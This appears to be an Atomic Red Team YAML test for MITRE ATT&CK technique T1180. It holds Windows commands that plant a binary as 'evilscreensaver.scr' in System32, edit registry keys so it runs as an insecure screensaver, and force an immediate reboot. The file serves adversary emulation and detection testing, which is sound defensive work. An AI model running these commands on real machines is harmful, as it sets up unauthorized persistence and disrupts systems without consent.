Files
atomic-red-team/atomics/T1180/T1180.yaml
T
2019-10-08 12:19:59 -06:00

30 lines
1.1 KiB
YAML

---
attack_technique: T1180
display_name: Screensaver
atomic_tests:
- name: Set Arbitrary Binary as Screensaver
description: |
This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.
supported_platforms:
- windows
input_arguments:
input_binary:
description: Executable binary to use in place of screensaver for persistence
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: command_prompt
elevation_required: true
command: |
copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
shutdown /r /t 0